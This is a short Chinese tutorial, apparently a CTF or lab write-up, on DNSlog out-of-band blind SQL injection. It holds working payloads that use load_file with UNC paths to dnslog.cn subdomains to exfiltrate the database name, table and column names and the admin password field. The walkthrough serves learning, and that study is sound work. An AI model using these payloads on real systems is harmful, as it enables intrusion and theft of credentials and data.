DNS_log注入
DNSlog注入属于SQL注入的一种,通常当目标站点存在SQL注入漏洞但页面无法正常回显时可以用到,通过DNS解析来将数据库内的数据"带"出来,属于oob(out of bond)的一种
-
目标站点:
-
判断是否存在SQL注入:
构造and 1=2
存在SQL注入,但是页面不能正常回显,尝试DNSlog注入。
-
DNSlog注入过程
-
DNS解析日志网站(显示DNS日志使得能够看到注入后的信息):http://dnslog.cn/
-
构造合适的UNC路径,
concat('//',(select database()),'.2l9lgj.dnslog.cn/abc.txt')
,UNC路径是concat函数内的字符串,代表去访问一个域名下的abc.txt文件,此处查询的域名属于2l9lgj.dnslog.cn的子域名,在访问的过程中,解析记录会被保存。 -
构造SQL语句
-
查询库名
select database()
-
查询表名
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.2l9lgj.dnslog.cn/abc.txt')))
对数据库使用loadfile()查询2l9lgj.dnslog.cn的abc.txt文件来达到对对2l9lgj.dnslog.cn的访问,以便在解析日志中看到访问信息。
查询语句:
select table_name from information_schema.tables where table_schema=database() limit 0,1
在database()中查询第0个表名且只查询1个(limit 0,1)得到第0个表为admin,可以更改limit来查询更多的表。
-
查询表中的字段名
and (select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() limit 2,1),'.js97uv.dnslog.cn/abc.txt')))
查询语句:
select column_name from information_schema.columns where table_schema=database() limit 2,1
在database()中查询字段名,得到第3个字段名为password,同理可以查出第0个为id,第1个为username。
-
查询表中字段的信息
and (select load_file(concat('//',(select password from admin limit 2,1),'.js97uv.dnslog.cn/abc.txt')))
查询语句:
select password from admin limit 2,1
在admin表中查询password字段的第3条信息为flaG-biubiu,同理可以更换password为username、id等来查询不同字段的第某条信息。
****
-
-